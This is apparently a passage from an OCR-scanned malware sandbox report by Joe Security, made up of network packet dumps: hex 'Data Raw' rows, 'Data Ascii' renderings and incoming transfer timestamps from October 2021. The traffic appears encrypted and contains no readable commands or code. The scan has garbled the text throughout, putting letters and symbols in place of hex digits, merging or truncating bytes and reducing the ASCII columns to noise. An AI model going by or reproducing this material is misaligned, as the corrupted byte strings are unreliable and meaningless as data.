Data Ascii: 7m<a’"O4PVR#m2<"c+@#+&/xRn6{|C\%B jbPI*h"cNh.&IsO89XD);nbXhQ 3n}GAR/X?\,bc,V(?\$;]jj/_c2
0D;>WMTLA,Nef3Y

Data Raw: 7b ec al be 6b b4 f3 2c 52 96 79 00 Ob e8 e4 15 ab 93 21 {3 52 42 df 7e 37 ec 2c c5 3e 8f 00 da 5d 95 94 40 28
36 40 ee 89 d8 9b 19 4a 4c 22 28 a4 10 a5 fd 32 70 5¢ b7 89 ¢3 9d ac 7a c0 ed 98 7b 07 46 {7 eb 31 7b 37 ee aa 39 19 aa
d1 e7 d2 8e 07 42 1e bd ba Oc 85 5f 0d 59 fd ac 7b ae c8 e8 ff fc 69 25 2e b8 47 9a 81 55 df 74 f8 9d 53 c4 88 4a 85 1c 65
09 4a 41 f6 5e 6 ad 9f af 00 72 97 ef 0d ee 67 10 ee 46 1e da 14 95 5d 77 7e 27 2c 27 b7 be 1f 08 6¢ 32 db 3a 07 08 ad
a9 69 89 08 68 08 41 8 fd 83 4f 31 2b ef 8¢ 9b 6d 09 8b 36 15 81 f9 79 e6 8f 18 cd 9a a5 44 03 a7 61 1b 14 cb 41 89 1c
60 58 91 77 46 92 21 6f 7e 1a 58 bb cf b0 d6 04 16 de 73 ce 02 4d 24 61 3e 4d el 53 58 a0 bb 33 02 c8 9a b5 40 db 47 2¢
5d 00 39 ce 59 23 d1 c2 0f 8a 07 64 b8 3e 21 d4 1b

Data Ascii: {k,Ry!RB~7,>]@(6@JL"(2p\z{F1{79B_Y{i%.GUtSJeJA rgF]w~','12:ihAO1+m6yDaA XwFlo~XsM$a>MSX3
@G,]9Y#d>!

Data Raw: c4 82 ec b4 23 08 36 5d d5 fc 67 d2 7c 52 24 9e 91 d3 c3 d2 b8 f8 a3 c1 9d b4 a5 10 6 5d fd 6¢ 8c fc Oc a3 99
ab b0 8e 25 87 a0 36 dO 2e 9a 22 ad 97 65 15 c4 86 b3 de 23 36 4d f2 29 16 cd 34 0f Oe 8d 27 53 1a 0f 43 2d 6d Oe 51 3c
61 e4 6e df a9 21 1c 38 cf 61 e3 5b 9b b5 a3 bb d6 ff 52 14 2b d1 46 1b €9 7a d7 dd 37 c7 Of 88 b6 b5 a7 52 6d f2 4b f6 db
9c 6a b0 9d 66 2d 5b a8 df 09 c9 97 60 e7 42 79 26 fe 4f fb 36 94 1c 2d 33 b9 22 41 6 34 60 13 23 2f c5 4c f3 83 fa 90 3b
9e fb 23 33 64 03 ac dO af e4 18 58 e0 8f 67 33 25 6 97 8c 5b 66 ce de 05 f4 3a 57 7f 05 1c d3 76 fc €8 97 65 c7 05 9f f5
3a 3b ca 1f ae 05 b7 9b 97 df 7f fb 5a 71 1b a6 63 f2 ea 7e 1a 87 43 08 03 7c f8 56 ea d2 7f 34 ab 56 le c3 44 28 2 32 ff
21 3c d5 c35d 2d 3c 9d 34 04 ad e4 28 12

Data Ascii: #6]g|R$]1%6."e#6M)4'SC-mQ<an!8a[R+Fz7RmK|f-[ By&06-3"A4 #/L;#3dXg3%][f:Wve:;Zqc~C|V4VD(2!<]-<4(

Data Raw: 6e df 9a 09 f9 f7 07 eb a8 ee 6e ¢9 36 7d 7a Oc c8 e2 21 3c 2e 86 dd 32 7d cc 69 cc 4c 54 e8 2c 87 ff 52 c¢8 Oc
72 20 26 b8 03 06 ee 2a c4 6f 55 ce 6a f3 bd bb 7 a6 ff 51 1a d2 0f 32 ee 55 3a 8e 99 99 9d 4c ed 09 57 04 ce 2e 70 Ob
43 36 6f 2e c¢7 Oe 22 4e Oe 53 d2 f1 ff 2b 6d b6 a5 36 1f 77 df be ca 9d 1b f7 93 df 43 55 47 85 84 2d 33 83 dd ad 20 Ob 51
e4 bd 10 a5 14 02 ee b2 9c 46 63 eb b7 9a bd 92 02 5¢ 2d d2 f2 94 46 c6 39 aa 6¢ 73 74 b5 15 a8 95 f6 09 b9 Ob 0b 21 ca
86 96 ad 78 56 bc 68 aa 68 7f f8 eb 29 2a eb d9 15 86 63 Ob 11 €8 96 8f bb 66 b3 09 05 48 41 bf dc 47 d6 30 84 5d b1 97
c9 31 a4 4b Ob cb 61 3c bd e0 d5 35 44 f3 3a 50 e8 3¢ 91 9a c6 fe d6 02 51 f4 a3 ef bc 5e da e8 e2 62 5f 91 3e 6f 38 64 ca
2b 8c 56 07 93 aa e4 fc 81 el a7 03 fd bf 4d d1

Data Ascii: nn6}z!<.2}iLT,Rr &*0oUjQ2U:LW.pC60."NS+m6wCUG-3 QFc\-F9lst!xVhh)*cfHAGO0]1Ka<5D:P<Q”b_>08d+VM

Data Raw: f2 07 10 cf 8b bb 10 e6 dd e8 c7 88 82 49 7f 1f ae 65 c1 f9 fb 53 55 7c d4 e0 ed 2b 9d a9 c5 7a c9 5b 5e 23 72
35 5¢ 49 63 f8 71 98 Oc 48 ea 2f 3d 2a 57 35 49 75 d3 2c d1 d6 a0 2a le 47 63 5c 87 9e 3f 31 34 31 bc 4e 92 52 5f 2b Oc
c3 a0 a9 85 3c 5f 12 12 Oe 56 38 54 0f d6 12 1c 16 24 6f 5¢ d2 a8 c4 c7 b5 b8 fd f4 b9 ba b2 b4 d2 9e 16 ae 20 66 47 c7
¢4 27 50 d8 9c 29 f3 6¢ d8 68 4f fb b7 fd 32 29 71 44 8c ¢5 ¢2 14 27 90 87 30 dd 39 e5 8f 2b 17 41 67 09 c1 fc a5 11 4c 42
7e f6 85 77 Ob f9 5f 65 f0 87 07 be cc 84 c4 d0 86 c5 al 6¢ f4 ac ec al 13 df 52 7a Ob 2d 52 83 86 a4 4c 83 83 20 0a 17 82
€8 2e c9 04 a4 5f f8 50 6d 09 dd al 7b 39 f3 79 6 29 4d d9 11 27 d2 e0 e8 6d 98 d6 df 13 02 e2 3a 2e 6e a5 9b Ob f6 al
6f 9f db 38 2f 29 bb 71 5d db e3 bf €9 99 69 9d

Data Ascii: leSU|+z[*#r5\lcqH/=*W5Iu,*Gc\?141NR_+<_V8T$o\ fG'P)Ih02)qD'09+AgLB~w_elRz-RL ._Pm{9y)M'm:.no8/)q]i

Data Raw: c9 12 08 be 7f e0 06 fe 20 47 fd bf 4d d5 6d f9 8a ea 46 38 fe 09 9¢c 77 cd c5 b2 7c 80 Oa ef 04 ba 9b 73 a2 2a
43 f1 34 4b de 66 33 cb 82 0f b3 b5 08 98 5a 84 67 21 12 a8 1d e2 85 07 9d d7 54 8f 46 2f 86 2c al 06 01 8a 40 e9 47 8c
81 dc 43 1a d4 6f da 52 49 c9 4d ef 6a a0 62 4e 43 9a 7b 63 e7 19 24 11 d0 5d db d2 5e d9 60 ce f2 30 93 72 94 ca 32 2a
68 44 a7 37 02 4f a6 f4 62 63 f3 6e a8 71 d7 e6 9a 7a c4 58 82 31 75 40 1a 08 92 d5 51 la ae le f4 62 c7 6e e4 34 23 25
ba fc 46 0a 9c 88 01 f1 16 a4 7e ab 64 fb 36 a8 48 67 30 41 3b a2 cd 5d f6 90 94 56 41 c1 99 66 bf 64 e2 ae 66 15 92 e6
bc fa 8a ¢3 d2 19 5b Oc 8e 8f 42 21 Oe 70 26 6d e5 89 Oa ac 5d 10 1b 7f a5 59 9b 90 70 00 7d 57 16 74 e4 ef f3 4e 3f b5
2d d0 dO f5 8f 14 ¢7 73 14 ac 94 fc ca d7 77 8f da 80

Data Ascii: GMmF8w|s*C4Kf3Zg!TF/,@GCoRIMjbNC{c$]* 0r2*hD70bcngzX1u@Qbn4#%F~d6Hg0A;]VAFdf[B!Ip&m]Yp}W
tN?-sw

Data Raw: Oe 53 51 €2 17 fb 9d 10 a3 9¢ 38 cc 88 71 6¢ 1b 09 f2 1b b2 96 4f 39 57 d7 be 41 da 41 b2 e3 98 53 de 90 2a 8f
96 7a 37 67 48 f3 74 74 09 9f 2¢ 87 36 bb 86 89 6b d3 4c 4 24 5b 26 95 Oe 54 €8 3c bd 74 7d dc 0d a8 3f de 55 23 ac 1d
19 8b 7d 8d 9a cb 7e 20 da b1 ef 1e 3a 77 ba bc 89 42 69 63 2a d9 a9 47 11 55 25 51 25 2 a5 b8 d1 ea 76 a0 44 d3 6f ef
7d ee 52 a0 03 {7 26 46 b5 Oe be 21 91 11 55 7d 81 62 74 22 3f ea 85 06 5c e3 fb cb df 05 63 6d 52 57 ec 45 11 7e ea be
b5 4d 4e 9b fa 20 fe 96 9c 4d 65 82 90 8d c6 dd 56 90 53 3e ¢9 15 1e 72 a3 c7 db a0 b7 c7 5b e3 05 4f c3 62 ad 65 4a 34
€3 3d 77 2b €0 69 ed 3e 34 d6 59 6a 33 80 54 73 8f 08 7d 2f ed d0 9e Oc 11 12 0d d2 da 1b 3d 9c e4 1c ae ff 19 4c 37 cb
77 2d 54 04 b3 b6 d3 56 bl 89 96 f9 cf 93 cd 9d d7 52

Data Ascii: SQ8qIO9WAAS*z7gHitt,6kLS[&T<t}?U#}~ :wBic*GU%QY%VDO}R&F!U}bt"2\cmRWE~MN MeVS>r[Obed4=w+i>4
Yj3Ts}/=L7w-TVR

Data Raw: 59 32 a9 70 c1 61 69 fe 57 79 5e ae 69 4e le dd 60 63 7c 15 4b 4b 93 b7 cc 0b 50 1f 65 9d 61 7f ef a2 73 81 al
5f 3d cc 46 fa fe 77 fe db 4b de 6¢ 2c 28 b6 bl eb 05 3f c5 fb 18 37 €6 21 48 8¢ 86 42 70 06 40 83 c0 d9 b6 9c 8¢ ea 6d 51
5c 1579 a0 e0 93 aa 4d ce d1 72 69 3b be 7b 4c 3b 77 0a 5f 9d 08 05 Of el fO 6¢ bd ab b9 42 6a 88 12 a9 25 69 17 d1 44
68 63 55 b5 ea da 5¢ 9d 56 af d2 e9 35 ff 79 08 50 33 b8 73 67 e7 31 al 8f fd 98 d3 1b 8d 96 53 33 73 ce f1 5a 66 ff 1d Oe
47 f7 7e e2 b5 2f b2 cb af 54 ¢3 ¢3 45 aa 48 4 3d dd 39 3e 5a 56 fd b7 98 63 4a f9 77 1f 9d ac Oa 44 89 1c 32 e5 0d ee 6d
9a 5a 2b 13 8b 14 86 39 8b 81 d8 29 9f 1b 30 43 Oa el 77 5a 6a ef 0Oa 9e d1 f6 00 45 78 70 51 b9 70 11 51 07 c1 9c 8d a3
92 84 ce 69 c3 05 c1 78 19 5d 95 80 02 33 4f

Data Ascii: Y2paiWyNNc|[KKPeas_=FwKI,(?7!HBp@mQ\yMri;{L;w_IBj%iDhcU\V5yP3sg1S3sZfG~/TEH=9>ZVcIwD2mZ
+9)0CWZJExpQpQIx|30

Data Raw: d5 35 45 b9 0f 1c 17 ¢3 6e cc 96 16 32 e7 cb f0 28 ba 11 58 f3 07 96 d0 16 fa 34 95 94 10 1c fb cc 59 82 f7 db
d7 b0 8d b3 2c 98 38 82 41 fc cc 20 e6 32 d9 6 c1 a8 9e 17 fO fb €6 ab cc db 3c a3 bc d7 d6 78 f2 4d 71 44 58 35 87 76
93 el 16 4b 1c 7a 56 72 dd 06 6¢ 29 2d 49 21 6d 1a 29 ee ee e6 ce 2f fb Oc 8e 62 12 27 da 04 e7 4f 7 8 d2 6f 18 3d 57
ba fe d2 5e c0 93 4e 72 39 af f3 76 df 5 19 af 74 05 aa 10 3f Oc af 7b 45 3a a9 54 c2 73 be 34 6e b1l 52 aa da ac 3b 03 {3
34 33 a2 12 ba 23 b4 00 23 47 08 13 2c 81 63 12 5d €5 fO 7b 71 54 6¢ 5f ff 8¢ 44 d5 7d 01 66 ad 33 ac 5d d9 91 c5 ed a0
2e 3943 82 9d aa bb a8 30 f2 b2 €8 82 cc b9 39 30 12 21 d0 2f a4 ec al 3d d5 48 ca 07 70 55 2a 19 40 Ob 90 b4 df 1e 73
08 47 36 25 Oe b9 20 1d 22 1e 4acl 85 91 f3 Ob b3

Data Ascii: 5En2(X4Y,8A 2<xMgDX5vKzVrl)-1!m)/b'Oo=W"Nrovt?{E: Ts4nR;43##G,cl{qT|_D}f3].9C090!/=HpU*@sG6% "J
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kBytes
Timestamp transferred

2021-10-13 13:51:48 UTC 287

2021-10-13 13:51:48 UTC 288

2021-10-13 13:51:48 UTC 289

2021-10-13 13:51:48 UTC 290

2021-10-13 13:51:48 UTC 291

2021-10-13 13:51:48 UTC 293

2021-10-13 13:51:48 UTC 294

2021-10-13 13:51:48 UTC 295

2021-10-13 13:51:48 UTC 296

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 5e 02 ac 7f 64 8e 85 Oe ea fe 32 65 51 Ob e8 61 79 20 d3 b7 4a ba 26 51 be 9e e3 07 6d e4 72 a7 4c 06 88 e7
12 63 el 4b 9e 80 Oc db 81 1e 17 06 Oe e7 76 cd c4 24 cO ce 90 d5 ff 23 Oe 49 7d b5 7e f2 08 dc 46 08 78 1b Ob eb a8 93
82253195281 c7a2c9 49 94 59 07 2f 89 4a 52 27 el 54 8 e4 5¢ 39 db df 9b 74 38 ce b8 03 44 88 3a c6 2c f4 11 dO
d7 b3 6f 79 67 01 65 bf ea bb 55 46 33 cb d9 70 al f6 3d e3 25 a4 d4 5 6¢ bd db 1a c8 b0 cf 06 da 6f 8a 9e d4 87 1d 22
3e 79.dd 1c 7c 19 7f 7 92 69 98 84 bf 6 4e 85 6d 68 16 7d fO 78 8d ee €9 30 5a da f2 3a a7 73 c1 31 6e 68 ce c1 79 a9
2e dd 04 92 ab df €3 92 71 8a 01 1b 2e b9 51 19 25 69 5 5¢ b1 10 f6 10 d0 13 86 00 96 13 d0 59 64 b2 d2 c2 ed 65 8a 68
bb d6 1b ac bf 6d b0 44 58 73 01 5b a8 37 22 f0 3e 1le 44

Data Ascii: *"d2eQay J&QmrLcKv$#[}~Fx"SRIY/IR'T\9t8D:,0ygeUF3p=%lo0">y|iINmh}x0Z:s1nhy.q.Q%i\YdehmDXs[7">D

Data Raw: d9 cd 29 28 73 1f 84 5b 3b 08 b6 c1 al 6b ad b1 c5 64 75 57 cc 53 eb al 1d dd 97 62 56 fb 70 24 2b 13 a2 08
38 0f 2f fc ad Ob 79 7a 32 4a 29 c3 d9 c2 c0 af 8d dc 4b ae 11 df fc 01 48 cO de 6b 4c 2d 63 11 cc a2 17 4d fb 15 a7 04 al
7563 €9 al 97 b9 bf bd 76 €6 c2 db 91 d8 fa 1d be 2d 3f b6 f1 c4 19 Oe 35 89 b7 49 55 €8 53 16 28 8b 29 9d e9 ec 68 73
3390 2f 47 ca 86 6e 64 f0 9d 9d 4c fd dd 5d bc e8 96 e4 0b eb 4c d3 62 dc 6¢ 83 94 3a c6 f7 c2 5¢ fc 2b d4 30 al Ob d2 14
40 f1 7d 63 6f 44 ae a7 f6 b4 de c4 7d 98 b8 b2 3b 54 1c 90 21 d4 32 73 14 07 b4 Oe 08 53 a7 4a c9 60 44 a2 87 hd 02 6f
b4 bc 2e b8 af c2 05 cc a3 cb 7e dd 4c 4b 19 ¢7 33 48 39 54 89 21 b5 aa 57 0f 36 a8 d6 74 73 f7 f2 2b 58 32 39 07 4b 51
7545 26 00 72 ad 7d 20 fb 45 4b 8e ac 46 d1 b1 d1

Data Ascii: )(s[;kduWSbVp$+8/yz2J)KHKL-cMucv-?5IUS()hs3/GndL]Lbl:\+0@}coD}; T!2sSJ'Do.~LK3HIT!W6ts+X2
9KQUE&r} EKF

Data Raw: 92 db de al 07 38 Ob 41 7c 62 46 1f 2b dO 26 8b cb ff 5 c3 5f 6e 15 ad 36 e4 bf 7e 7c 8e 2a bl 43 83 73 15 {3
86 36 91 d0 a2 Oc f0 93 0 7b 5d 79 4c 9e 9c 95 f9 77 55 69 47 67 02 f0 27 €3 12 aa 20 23 bd 7c a9 e4 e4 85 75 a8 10 51
10 4d fc 33 f9 2a a7 d5 5a 6¢ bf 9f 6¢ 6f f9 9a 90 34 1f 56 b8 1le 97 47 f7 93 49 f1 db a6 ca ed 25 95 61 5¢ a6 e3 85 58 33
40 cb 53 5d a2 14 b2 43 d4 59 ee ee 9c Oe b3 29 a8 99 bc 7a 94 29 Oc 56 43 af el 1c 15 a8 97 49 26 f5 fe b3 1e bf 98 d8
4d 13 9a a5 93 18 e6 22 6a cb c8 23 81 77 53 84 2f a7 af de 17 01 14 ff 68 6a 27 a5 ca ad 3b 66 bd a8 63 4a 9f 93 d1 a3
8e 8a 21 a6 15 49 2e 6e €2 26 1b fd 29 99 c1 1f b5 80 04 d9 16 Oe 40 99 a6 44 bc d1 98 29 41 36 d4 5f a3 0d 42 f8 6f c8
01 e7 2b bb 26 8d aa 21 7a 57 5¢ 65 ae 2d 27 2c a3

Data Ascii: 8A|bF+&_n6~[*Cs6{lyLwUiGg' #|uQM3*Zllo4VG1%a\X3@S]CY)z)VCI&M"j#wS/hj';fcd!l.n&) @D)A6_Bo+&!zZW\e-

Data Raw: Oa 61 43 ff 89 9d 56 d0 84 a9 27 1f bb b6 e0 57 15 24 a9 6f bb de f4 8c da bb 61 b8 14 73 €9 18 a4 1c 80 32 f2
9c 68 22 c0 3f a0 f2 eb 33 95 9e 60 4e b8 5d f6 92 be d5 b4 aa 97 52 1e 09 Oa 7c ec 2b dO c3 ca 15 b3 5 3c 96 a4 9¢ 19
bc e1 36 79 08 2¢ 62 97 90 e9 66 fd d9 7b 8f 1b bf 55 c0 a5 e9 b2 34 51 80 2f fd 1c €9 80 f4 1c d6 74 e4 7a 06 8a ef eb 37
9a 5d 3e b6 1b 6f c4 75 36 da 61 bc b8 3f 4e d3 ff 6b a8 d4 5b d6 93 e6 6d 6f 85 dd 58 27 b6 82 9b 47 4a 12 c4 7e c8 1d
b7 fc 94 66 93 9e ca 8a bf 2d 99 c6 48 ae Oc 3f 95 2b 11 86 e0 e5 98 9b fd 35 85 2e e2 d9 90 37 b4 59 1b 87 57 Ob 97 a3
4c 732 91 60 1f 3a eb 3a c8 7b 8e 79 43 bc 8d 11 28 e3 4f fe cf 47 61 34 a8 9b 6d f8 81 a7 14 1e 4b 8b 01 e7 02 08 cf 97
de de d0 eb 9e b9 6c a0 7 f7 38 03 58 7f b8 7

Data Ascii: aCV'W$oas2h"?3 N]R|+<6y,bf{U4Q/tz7]>0u6a?Nk[moX'GI~f-H?+5.7YWLs :{yC(OGa4mKI8X

Data Raw: 1a bc fd 5f 01 04 cb ba 28 f1 dc 7a ed 00 ae c2 45 aa 7e 7c d9 80 fa 19 8f d8 f0 26 32 82 a6 f8 32 e7 1d 52 7e
fe 81 7d 8a 11 79 e8 65 17 5e c8 5b 26 cf 44 26 08 6e 14 8d 4e 07 3c 4c 8¢ f4 32 c2 3a 54 85 35 27 84 10 08 68 1la 41 63
be 40 42 5e a2 ba 70 Oc 6e c6 da a3 7b 73 14 86 19 21 dc c1 1f a2 b7 7b e3 e2 d8 1e fO 36 8d 86 b4 24 ce 29 4e b3 68 c4
2317 2e 30 7b ce f8 07 c9 d4 ee d8 26 9a d1 87 04 7e 97 55 33 8e 61 c3 4a 48 38 3c df f0 50 7e 29 e5 77 8f 8c cf Of Oc ef
5a e8 7f ea 6e ¢9 d6 9c 85 f3 cO 73 09 32 ab d3 1e f4 34 5b ae 2e 11 68 el c6 c7 ff 53 2e 51 74 19 c4 ee 03 26 ea 29 4c
ae 54 ca 7d 3d 0f 19 cb 42 67 ab 8b b7 da cb c8 6a 22 78 d4 7d 6¢c 92 83 b8 1f ca 95 59 68 90 50 50 72 93 95 0f 47 f2 f9
a02d 72 6d 77 00 12 de 8e 94 bl 9e d8 c2 1b 17 47

Data Ascii: _(zE~|&22R~}ye [&D&nN<L2:T5'hAc@B"pn{s{6$)Nh#.0{&~U3aJH8<P~)wZns24[.hS.Qt&)LT}=Bgj"x}IY hPPrG-
rmwG

Data Raw: c8 1b 62 ca be 97 56 41 86 e5 87 d2 bb e0 38 3¢ 93 ad f2 d1 a5 e5 fa b8 02 cf 99 cc 95 59 59 38 ba 29 77 82
b8 3b 69 7a 3c e0 c7 bd a7 ce cf 77 e6 1la c5 ac 41 f5 70 52 f9 2c ¢6 4f 03 77 19 b2 b7 5f 17 a8 e4 24 d8 02 05 9d f2 e2 4b
22 al e6e4fd 717305529 76 Of 2d 32 43 32 02 8a 89 74 62 f4 e0 42 2d 66 4d 89 52 5f 6b 1f 47 fa fe 16 62 4e 1f 89 a7
91 36 bb 42 fe 40 a2 7c 63 ef d9 1d 5f 8a 16 fb f7 5f ea 2d 9b 76 c9 a5 ca 09 06 35 f5 e3 ¢3 fd 7a 09 2c 2a c4 9e 5d 41 cf
3240 11 d1 cd de ce aa 54 fe 94 40 Oc 82 bd ba 6b da 19 be 5a ec d4 e2 ef b8 65 8e 0b e3 36 7d fd eb d5 70 2e bc 63 al
5e Oe bc 02 51 73 f1 47 05 08 da a0 b1 69 39 4f d4 ba c7 ¢3 8d 99 b8 09 0a 01 e4 6¢ 1f a9 11 5e a3 3d b9 7f O bc 7a 09
19 0a c9 95 90 27 9b d6 90 a3 9d 5 57 07 c0 la

Data Ascii: bVA8<YY8)w;iz<wApR,Ow_$K"gs)v-2C2thB-fMR_KGbN6B@|c__-v5z,*]A2@T@kZe6}p.c*QsGi90I=z'W

Data Raw: aa f9 51 0f 6b 2b 1b Oe 6e 9b 36 e3 02 55 da f9 d9 90 56 d1 26 7c b7 c2 6b fb 20 73 de 22 8¢ 49 24 Oc 7b b4
70 4b 6a ca 37 38 d6 3c e0 6b fa 6d f4 61 €0 1b 10 a0 4c c7 76 20 e3 9f 81 d8 bd 81 f2 a2 e4 9b b6 07 45 ab 7a 2c 67 ed
a3e9 35 9c 09 Oc bf 77 5 18 c5 61 b4 5e 79 26 03 e5 66 a9 42 1e 02 59 Oc 04 47 a8 fe 4f 7b 11 04 e4 9f 3¢ 67 c4 89 bl
722 c8dd 95 a9 17 a7 19 81 42 92 04 9e 16 32 00 dd cc d2 45 63 bc b2 88 9d bc 6f 2a 29 7b 6a 2e 82 c2 14 d5 5¢ 88 7b
b3 b9 4d 8e d5 80 2b 7e 24 ¢3 16 7a a7 bf 79 Oc 31 d3 07 68 6f f9 9c 71 50 02 33 51 ch 49 a5 8d b7 c1 98 aa 1le ea f5 44
cc 8e a7 5e 1c 7a f6 8b a2 11 c1 c2 d8 29 30 8c 1f Of 18 3¢ 00 f4 a2 42 9d 43 6d b9 Ob 2c f9 75 bd 02 98 9a 4a 84 15 4f {3
eaf304 869 6c53a05367a2acl7a32ec47aal

Data Ascii: Qk+n6UV& |k s"I${pKj78<kmalv Ez,g5wa’y&fBYGO{<grB2Eco*){j.{M+~$zy1hoqP3QID"z)0<BCm,uJOISSg.z

Data Raw: b3 c1 71 f1 fb e4 74 b3 90 29 ac 72 5a a3 e8 6e 43 1d d2 fe 57 84 ed d2 1b ¢8 6¢ 51 c0 3a 85 98 85 Of 71 48 7a
91 29 49 6f 53 75 b8 5d db 47 50 c1 60 db 31 e4 32 ¢7 1c 31 0d b3 6d 47 €0 61 bf 56 4e 1d 2c 25 58 5a 7f fb 4a b1 f8 11
19 ec 6b 34 00 54 95 11 88 fd f1 63 al b6 55 bd 61 18 26 ff 97 08 02 da 3f 75 fc 34 3d ed db dd f0 e0 7e 56 8d 0d 6f 43 5e
ec 537 79 bf el 7a 9f 59 16 de 22 95 ef e0 9e 5a 9e 72 3f b6 bd 01 5¢ f5 0d 91 77 33 91 35 bc 41 1d b3 4b a7 8f d8 80
13 5f9e aa b4 fd e7 84 b9 0d c1 36 9d 53 el 80 e6 8a 53 41 f2 94 28 d6 91 22 91 f0 20 34 ed 7c 9f 11 a5 31 87 e6 21 82
fa 47 05 b8 c1 c4 e0 63 83 4c 5a ae 2f a2 52 cf 2b 42 cb fe 79 6d 74 4a 29 ec c7 71 1f 9f cc 5 4a 62 2f 61 9b 29 c6 1f 78
€306 33 7a 57 8c a8 €9 fa 2b 29 d1 76 fe 98 b8

Data Ascii: qt)rZnCWIQ:qHz)loSu]GP 121mGaVN,%XZJk4TcUa&?u4=~VoC7yzY"Zr?\W35AK_6SSA(" 4|1!GcLZ/R+Bym
tJ)qJb/a)x3zW+)v

Data Raw: 86 99 12 37 a0 8e 5a df e8 2b 06 64 ac ac 05 84 cc 0a 59 70 03 b4 66 50 1c 70 6a f6 eb 96 eb 1c 4e 5f 73 1c
2122 9f Oc 79 76 00 83 18 6b 48 93 2e 55 1a 12 5d 28 00 84 8e ac ff 3f 44 0f ce 1b fb 8a 8a 48 9b eb d3 8f 04 d9 47 7b 84
24 6¢ 60 b7 b6 fe ae 92 b5 bc f7 0a 8b Ob 88 b4 €0 8b 06 87 09 6a 84 7f 73 4c Ob 24 7c 4c cc 91 08 b9 2e 46 23 bf el 82
7d 1e 2d f1 8f 51 7a 7b 22 73 40 0Of 32 85 c1 65 94 6a 3f a5 ae bd Oc 45 ed a4 15 60 Oc 4f 6f fb 7b 4f 17 9b cf d9 41 7f b9
9e b2 14 3c e2 28 47 bb bd 2a 1b 37 78 f3 Oe 40 4e 39 d1 89 ae 94 31 39 9d 79 07 c7 38 e4 67 cc 23 a2 17 36 3f fb 78 9a
d1 bb 99 e7 67 Of ad f0 00 08 74 d5 82 ac 8b 9e ¢7 59 80 08 00 3b 0f 79 78 9b 42 c5 77 ec 31 4f 7f 64 c1 e5 ab 9c e3 48
a5 45 ¢8 81 5d a6 7b 14 7b e6 89 36 9c 60 b0 8b 2a

Data Ascii: 7Z+dYpfPpjN_s!"yvkH.U](?DHG{$I'jsL$|L.F#}-Qz{"s@2e]?E Oo{OA<(G*7x@N919y8g#6?xgtY ;yxBWw1OdHE]
{6
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 298 IN Data Raw: 3d 55 3 56 46 25 f6 0d 89 cb ef 5a 92 d7 2f Oc ce c3 5a 23 64 03 7f 4¢c 7e 40 7a 02 3d fe 5f d2 f1 a9 23 46 87
20 da 9e 1f 35 55 4e 78 34 41 e3 4e 97 8d 92 c2 12 8d 84 60 79 d0 05 8 94 33 34 4a 2b e2 98 e8 df 42 1b fd cO 7b 56 €8
19 b6 14 3d 51 95 54 4b 98 6a 0d f1 58 10 17 be fb 22 37 2c 66 05 3b 6f Oe 87 8b f8 5b fO 8b ec a3 fb 4a 4e 69 a7 fd 51 52
40 92 33 d8 97 ad 4c e8 37 7f ff a0 d2 ca 74 53 2b 1a 39 60 5d de 24 39 f2 f1 56 05 e6 13 0b 82 dc c5 ¢5 62 31 7c 48 37
29 ff 79 cc 96 16 32 57 92 al a3 56 19 e8 81 2c Oe Oe 06 ac 41 c9 b0 52 16 32 1d Oa c5 be Oc ae 5b 4a 3f ef 52 f6 c7 bf bb
cc 25 83 85 b0 ef 0f 06 c9 d7 8a 1b aa cf dO eb c4 78 ae e8 ae 70 ff 01 d4 af 82 78 00 13 a2 8e 52 76 b6 le 9f 37 36 df e5
b6 d7 3e e7 4c f9 cd 73 44 25 Oc 4e 50 b5 c9
Data Ascii: =UVF%Z/Z#dL~@z=_#F 5UNx4ANy34J+B{V=QTKjX"7,f;0[INIQR@3L7tS+9']$9Vb1|H7)y2WV,AR2[J?R%XpX
Rv76>LsD%NP

2021-10-13 13:51:48 UTC 299 IN Data Raw: 8d 20 9d 5e 61 d8 c5 1d 88 d4 40 04 cf af ff 02 a0 68 01 25 b3 c9 b1 dc bf cb 28 11 19 55 e8 ac c8 d1 78 aa 6e
88 ae 53 9d b9 db 39 44 el b2 c4 5a dd bf b5 46 5f fb dd 69 d2 55 9e ba fa a8 11 9c db dO bf ae 87 38 41 8b 78 f3 77 4b
1c 33 df 32 fc 50 6a 2d Oe 90 b2 f1 fa ef ee d4 al ae cd 0f 91 a4 9a 9e ae 48 9b 8c d0 01 2d 9b bd e9 5a Oc bd el 25 f0 26
d0 d4 77 74 c9 8f 70 38 56 8b db 83 1a 11 12 33 fb 02 11 4a 2d 5e 96 25 13 50 b3 08 38 de 7b 9d 75 48 fa 1d 61 2b d6 de
76 ¢5 98 bf e7 8f ab 05 56 57 7a 16 f8 7a b2 86 fb 7 65 6d 88 3a 3f 38 7a 54 a3 6d ea c8 49 e8 5¢ 35 78 38 Oc 71 1e fb
6c 1e be fc ¢3 9b 40 76 44 92 ba db 8c d0 e0 5e 55 91 2d 8e ff 20 34 09 6¢ 90 40 {7 1a 50 d8 da 7d 8c 8d ce ab 42 9f e2
48 a3 34 f8 95 6¢ a7 e5 2e 8a a0 0d 53 41 9d d8 62
Data Ascii: "a@h%(UxnS9DZF_iU8AxwK32Pj-H-Z%&wtp8V3J-"%P8{uHa+vVWzzem:?8zTmI\5x8gl@vD"U- 4
|@P}BH41.SAb

2021-10-13 13:51:48 UTC 300 IN Data Raw: d6 6b f8 99 f4 cc 9a cd d4 f3 75 81 20 91 c3 56 9f 2e c4 57 35 ae 38 52 02 46 b3 af de 51 Oc 58 1d a5 09 4b 7f
9f c0 9¢ 12 9b 19 6a 1c 21 27 2c b0 46 b2 26 b1 9b a7 87 08 ad 15 99 ba al 27 8e 92 84 3b a6 88 70 03 be 15 a4 0d c7 7f
fc de bb 4d fa f9 ed 7a 4a 0a 08 89 be 3b 94 9d 37 4c c8 be 5a c1 5a 2b d2 a5 1b 65 6b 5f 33 42 9¢c a6 30 b2 05 41 f4 91
95 2¢ 67 89 9e 20 2b 17 42 7e 81 47 87 f7 1c e2 da 76 42 06 57 15 8e 56 72 8¢ fd 1c b3 49 fd 7a ff f0 50 98 34 72 e3 f6 Oa
48 5¢ 55 ce 5¢ 45 41 c1 34 fe 77 1f eb e4 b8 53 97 1d 48 03 5b da 42 41 4a 3d 94 6¢ ea 5a 0d 98 c5 8c 05 3f 83 f0 e9 17
48 ff 67 de 6d cf 61 b5 be ab 0f e8 80 07 39 ¢2 91 91 b7 ce 97 98 61 07 b0 b3 3d da c0 a3 6a 78 95 51 dO 04 da 21 71 Oa
b8 e8 69 36 a4 19 59 a3 15 aa 16 52 1c 95 bb 41 70
